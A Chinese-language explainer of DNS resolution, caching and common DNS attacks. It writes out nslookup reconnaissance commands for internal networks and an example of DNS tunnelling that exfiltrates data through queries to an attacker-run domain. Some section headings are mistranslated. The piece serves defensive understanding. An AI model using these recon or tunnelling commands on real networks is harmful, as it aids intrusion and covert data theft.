基于IP协议,两台计算机之间的通信有一个前提,即各自有一个IP地址。因为我们大多数人都擅长于像www.taobao.com那样记住字符串,而不是像104.196.44.101那样记住一串随机的IP地址号码,所以我们需要一个程序来将名称字符串转换成IP地址。
存储互联网上域名和ip地址映射关系的分布式数据库。能把名字转换成数字,数字转换成名字的程序叫DNS(域名系统),运行DNS系统的主机就是“DNS服务器”。没有DNS,任何互联网访问都需要我们记住12个数字——服务器的IP地址。
DNS系统原理及漏洞利用分析
一、DNS的工作原理
作为互联网接入中不可或缺的技术,了解DNS的运行机制非常重要。
DNS中的域名-IP映射条目称为“DNS记录”。需要在互联网上进行通信的计算机数量太大,因此将所有DNS记录记录在一个记录集中并由单个DNS服务器进行存储和处理是不切实际的。因此,在DNS系统的设计中,将全局DNS划分为若干个小的记录集,称为“域”。一个域中包含的记录数量可能仍然很大,因此该域还可以划分为更小的子集-“区域”。
因此,互联网上的所有域名-IP映射条目通常由许多DNS服务器存储。任何想根据IP查询IP或域名的电脑都可以查询其DNS服务器,DNS服务器也知道如何在多个DNS服务器中查询。当DNS服务器查询其他DNS服务器时,我们称之为“上游”查询。域名查询可以继续向上执行,直到域名服务器被授权。
域名服务器是管理员管理其域的服务器名称和IP地址的地方。当DNS管理员想要添加、删除或更改服务器名称或IP地址时,他将在授权域名服务器(也称为“主DNS服务器”)上进行操作。此外,还有一个“从属DNS服务器”,用于保存一个区域或域的DNS记录的副本。
DNS系统原理及漏洞利用分析
1.用于加载页面的四台DNS服务器
解析名称服务器:存储查询的IP域名条目本身或从另一个DNS服务器请求IP域名条目并响应查询的服务器。
根名称服务器:根区域的名称服务器。它直接响应查询请求,返回具有相应顶级域权限的域名服务器列表。
顶级域名服务器(TLD): TLD是互联网上先进的DNS服务器之一。在寻找www.qq.com的时候。TLD服务器将首先响应,在其条目中搜索“qq”字符串。
权威名称服务器:权威名称服务器是DNS查询过程中的最后一站,它存储着某个区域的域名入口记录。
2.DNS服务的类型
根据处理DNS查询的技术机制,DNS服务可以分为两种类型:
递归DNS服务:递归DNS服务响应DNS查询,向授权域名服务发起域名条目查询,或者在其缓存的DNS条目中实现查询。
授权DNS服务:授权DNS服务本身存储DNS条目。因此,如果查询由授权DNS服务存储的IP域名条目,则不需要查询其他服务器。
3.公共DNS和私有DNS
对于需要公众在互联网上访问的服务器,需要有公共的DNS记录,其IP地址可以在互联网上访问,即不会被防火墙等访问控制技术屏蔽。任何可以连接到公共DNS服务器的人都可以访问公共DNS服务器,而无需进行身份验证。
然而,并不是所有的DNS记录都是公开的,许多企业为了使员工能够方便地访问内部网中的服务器,都有自己的私有DNS。私有DNS用于存储企业内部文件服务器、邮件服务器、域控制器、数据库服务器、应用服务器等的域名和IP。不想在网上公开的信息。
值得注意的是,私有DNS服务器和公共DNS服务器一样,不需要经过身份验证就可以访问它们。这主要是因为在DNS技术创立之初,安全性并不是一个需要考虑的技术问题。因此,在大多数情况下,intranet中的任何用户都可以查询存储在内部DNS服务器中的信息,而无需进行身份验证。
二、查询DNS的七个步骤
(1)当用户试图访问互联网上的计算机时,例如,通过在浏览器的地址栏中键入wuyouyun.com,将启动DNS查询。
(2)DNS查询的第一站是本地DNS缓存。当用户访问网络上不同的域名时,这些域名对应的IP地址会存储在本地缓存中。如果用户以前访问过wuyouyun.com,这个网站的IP地址将被存储在缓存中。
(3)如果在本地DNS缓存中没有该域名的IP,将由递归DNS服务器检查该DNS。在互联网上,ISP服务提供商通常会构建和运行递归DNS服务器。
(4)递归DNS服务器有自己的缓存。如果用户查询的IP地址存储在它的缓存中,它将直接返回给用户。否则,将查询其他DNS服务器。
(5)下一站是TLD域名服务器。当用户查询wuyouyun.com域名时,TLD域名服务器存储。cn地址将响应查询请求。这个服务器没有存储我们需要的IP地址,但是可以把查询请求转发给正确的域名服务器。
(6)授权域名服务器以wuyouyun.com的IP地址响应此查询,递归DNS服务器将其存储在本地DNS缓存中,并将地址返回给用户的计算机。
(7)用户计算机的本地DNS服务获得wuyouyun.com的IP地址并访问它。然后在本地缓存中记录该域名的IP地址,同时也记录其生存时间(TTL),即本地DNS记录的生效时间。如果用户下次访问该域名的时间超过TTL,DNS将在他下次访问wuyouyun.com时再次执行上述过程。
三。DNS查询的分类
DNS查询需要传递给DNS服务器的信息包括:
当前查询的类型;
返回什么信息。
有三种类型的标准DNS查询用于:
递归查询:在递归查询中,计算机请求DNS服务器返回一个IP地址,或者确认DNS服务器不知道IP地址。
迭代查询:在迭代查询中,查询者请求DNS服务器返回最佳答案。如果在DNS服务器中找不到查询的IP,它将返回到权威域名服务器或TLD域名服务器。查询将继续这个迭代过程,直到它找到被查询的IP或超时。
非递归查询:DNS解析服务器使用此查询来查找没有存储在自己缓存中的IP。
四。DNS缓存
每次任何用户试图访问wuyouyun.com,他必须向授权的域名服务器发出查询请求,这将产生大量的网络流量!因此,为了防止计算机每次访问一个域名就向DNS服务器发起IP查询请求,计算机通常会存储自己的域名-IP映射库,称为“DNS缓存”。
加速DNS请求响应。
减少互联网上DNS请求占用的带宽。
但是,DNS缓存方法存在一些问题,包括:
DNS信息的变化需要一些时间来传播,这意味着在所有DNS服务器将它们的缓存更新到最新的IP数据之前,通常需要一些时间。
攻击者可以使用DNS缓存发起攻击。
有几种不同类型的DNS缓存:
浏览器DNS缓存:目前大部分浏览器都内置了DNS缓存功能,使用本地缓存解析DNS通常是快速高效的。
操作系统(OS)DNS缓存:目前大部分用户电脑操作系统都有DNS客户端,可以用来管理DNS解析和请求。这种DNS缓存也是本地化的,所以速度快,不需要带宽。
解析DNS缓存:每个DNS递归服务器都有一个DNS缓存,用于存储可以向其发出下一个请求的IP。
动词 (verb的缩写)DNS的常见漏洞
用户内部DNS服务器存储用户网络域内所有服务器的内部域名和IP,无需认证即可实现访问。这使得DNS成为攻击者在内网检测阶段的重要信息源。
DNS缓存信息不一定与授权域名服务器一致,攻击者可能篡改DNS缓存。如果用户内网的DNS服务器被攻击者篡改,使用该DNS服务器发起域名访问的计算机将被诱骗到错误的服务器。
DNS服务器可能会将内网的域名查询从内网工作站递归转发到外网服务器,攻击者可能会利用这种行为在内网和外网之间建立一个“隐藏通道”,从而泄露内网数据。
1.用DNS探测
一旦攻击者穿透防火墙进入用户的内网并控制一台电脑,就可以利用内网的DNS服务找到重要的服务器信息,如邮件服务器、域名服务器等有价值的信息。如果攻击者有足够的技术能力,他甚至可能利用内部DNS服务器批量发送用户网络的信息。这种攻击被称为“DNS区域传输攻击”。
以下是在Windows操作系统环境下实施这种攻击的过程:
打开命令提示符(Ctrl+ESC输入字母“cmd”并回车)
输入“ipconfig”就会看到当前电脑的域名、IP地址等诸多信息(后续命令会用到)。
键入“nslookup[IP]”,您将看到响应请求的DNS服务器的名称。如果知道名称,将显示列出名称和IP地址的DNS记录。
键入“nslookup-type = SOA[当前计算机的域名]”。执行这个命令会返回当前计算机的权限DNS服务器,如果试图渗透网络会很不方便。
键入“nslookup-type = MX[当前计算机的域名]”。通过执行该命令,攻击者可以准确获知网络中邮件服务器的IP信息。
2.使用DNS重定向流量
当用户试图浏览某个网站时,他们的计算机会在DNS服务器中查询该网站的IP。如果DNS服务器中有该记录的缓存,将直接返回IP。如果没有,它将查询“上游”DNS服务器,将结果转发给最终用户,并缓存信息以供下次使用。
在已知的攻击中,攻击者能够伪造DNS响应信息,使其看起来像来自合法的DNS服务器。为了实现这一目标,攻击者可以利用DNS的三个弱点:
DNS仅对来自上游服务器的响应执行非常弱的身份验证。响应只需要包含正确的事务ID(16位二进制数(0-65536))。事实证明,猜测正确的交易ID在技术上并不难。
DNS服务器接受同时响应多个查询请求,因此攻击者可以同时猜测几次事务ID(类似于暴力破解密码)。
DNS使用的IP连接很容易被伪造。这意味着攻击者可以将流量从一台计算机发送到DNS服务器,使其看起来像是来自另一台计算机,例如另一台真实有效的DNS服务器。容易被伪造的IP连接类型并不多。不幸的是,DNS恰好是其中之一。
一旦攻击者成功伪造DNS响应消息,就可以篡改接收DNS服务器的缓存。下面是一个典型的场景来说明这种攻击可能造成的严重后果:
假设攻击者知道用户单元使用外部应用程序来处理资金等重要事项。如果攻击者伪造了用户公司DNS服务器的相关记录,就可以把用户诱骗到攻击者伪造的服务器上,诱骗用户在攻击者伪造的登录页面上输入自己的账号和密码信息。
更有耐心的攻击者也可能将真实的流量转发给真实的服务器(充当“中间人”),因此用户不会发现攻击正在发生。攻击者获得用户的身份信息后,可以尝试在其他相关系统上使用,或者直接出售。
3.使用DNS建立隐藏通道
假设攻击者已经设法进入用户的公司网络,控制了一台内网计算机,并找到了他想要窃取的关键数据。如何在网外传输数据而不留下任何痕迹?攻击者可能使用一种称为“DNS隧道”的技术来实现它。通常的做法如下:
(1)攻击者在互联网上建立一个DNS域(如wuyouyun.com),并创建一个特权域名服务器。
(2)在攻击者控制的主机上,攻击者可以将数据分成小块,并插入到一系列DNS查询中,如下所示:
nslookup wuyouyun.com
nslookup is1that1I1wuyouyun.com
nslookup your1data.wuyouyun.com
(3)用户单元的DNS服务器将接收这些请求,并将它们转发回wuyouyun.com的授权域名服务器。攻击者的域名服务器收到上述流量后,可以运行程序提取查询信息的第一部分(之前的内容。wuyouyun.com)并重新组合,从而将用户网络内的数据不着痕迹地传输到网络外(这种情况下,传输的数据是“我的秘密是我知道你的数据。”).用户可能永远不会意识到他们的DNS服务器被用来泄露他们自己的数据。
不及物动词摘要
DNS技术已经存在很久了,互联网上的每一台电脑都依赖于它。而利用DNS检测内网,劫持流量,创建隐藏通道窃取数据,都是DNS服务可能带来的安全问题。幸运的是,通过监控DNS服务器和应用安全数据分析,有许多技术可以检测和阻止这些攻击。
客服支持
微信咨询
售后